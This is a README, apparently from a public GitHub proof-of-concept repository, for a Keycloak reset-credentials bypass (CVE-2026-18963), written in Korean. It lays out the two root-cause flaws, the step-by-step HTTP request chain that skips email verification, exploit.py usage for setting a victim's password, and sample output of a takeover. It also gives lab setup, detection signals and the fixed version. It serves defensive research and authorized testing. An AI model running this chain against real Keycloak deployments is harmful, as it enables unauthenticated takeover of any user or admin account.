
CVE-2026-18963에 대한 개념 증명 익스플로잇으로, 인증되지 않은 계정 탈취를 가능하게 하는 치명적인 Keycloak reset-credentials 우회 취약점입니다. 승인된 테스트를 위한 랩 설정, 탐지 지침 및 수정 절차를 포함합니다.
Keycloak의 자격 증명 재설정 흐름에서 발생하는 인증되지 않은 계정 탈취 취약점. 사용자 이름/이메일만 알고 있는 공격자가 인증 이메일을 받지 않고도 관리자를 포함한 모든 사용자의 비밀번호를 재설정할 수 있습니다.
이 개념 증명(proof of concept)은 오직 교육 목적, 방어적 연구, 탐지 엔지니어링, 그리고 승인된 보안 테스트를 위해 공개되었습니다.
전체 성명은 DISCLAIMER.md를 참조하십시오.
| CVE | CVE-2026-18963 |
| 심각도 | 치명적 — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 취약점 유형 | CWE-640 — 취약한 비밀번호 복구 메커니즘 |
| 영향 받는 버전 | Keycloak < 26.7.2 (업스트림). 또한 26.6.6 / 26.4.15 번들로 수정된 RH 빌드 스트림 |
| 수정 버전 | Keycloak 26.7.2 (PR #51844) |
| 전제 조건 | 영역(realm)에서 Forgot password(자격 증명 재설정) 활성화 — 기본값 |
| 영향 | 모든 사용자(영역 관리자 포함)의 완전한 계정 탈취 → IdP 침해 + 측면 SSO 접근 |
비밀번호 재설정(reset-credentials) 흐름은 일반적으로 새 비밀번호를 설정하기 전에
계정 소유자에게 이메일로 전송된 링크를 클릭하도록 강제합니다. 두 가지 결함으로 인해
공격자는 이 검사를 완전히 우회할 수 있습니다:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 노트를 실행 ID에 범위가
지정되지 않은 채 저장합니다. 흐름에 다시 진입하면 인증 세션이 혼란스럽거나
오래된 상태로 남게 됩니다.ResetCredentialEmail.action()은
ACTION_TOKEN_USER_ID를 검증하지 않고(즉, 이메일로 전송된 액션 토큰이 실제로
소비되었는지 확인하지 않고) context.success()를 호출합니다.이 둘을 연결하면 이메일 없이도 인증 세션이 임의 사용자에 대해 UPDATE_PASSWORD
단계로 곧바로 진행됩니다.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
자세한 패치 diff는 docs/ROOTCAUSE.md를 참고하세요.
Docker와 requests가 설치된 Python 3가 필요합니다.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
예상 꼬리:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
그런 다음 victim / Pwned-2026!로 로그인하여 탈취를 확인합니다.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
모든 HTTP 응답은 검사를 위해 ./dump/에 기록됩니다.
Keycloak이 이미 8080을 사용하고 있으므로, Burp의 리스너를 다른 포트(예: 8081)로 지정하세요:
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Burp Repeater용 원시 요청 체인은
requests/burp-chain.txt에 있습니다.
동일한 인증 세션에서 이메일 인증이 선행되지 않은 비밀번호 변경을 찾으십시오:
VERIFY_EMAIL / EXECUTE_ACTION_TOKEN이 없는 UPDATE_PASSWORD 이벤트.tryAnotherWay=on을 포함한 reset-credentials 요청의 연속 발생.tab_id에 대한 login-actions/reset-credentials의 다중 재진입.체인은 공개된 Keycloak 패치(PR #51844) 및 커뮤니티 분석 문서와 교차 검증되었습니다.
MIT © red-darkin — 교육 및 승인된 테스트 용도로만 사용하십시오.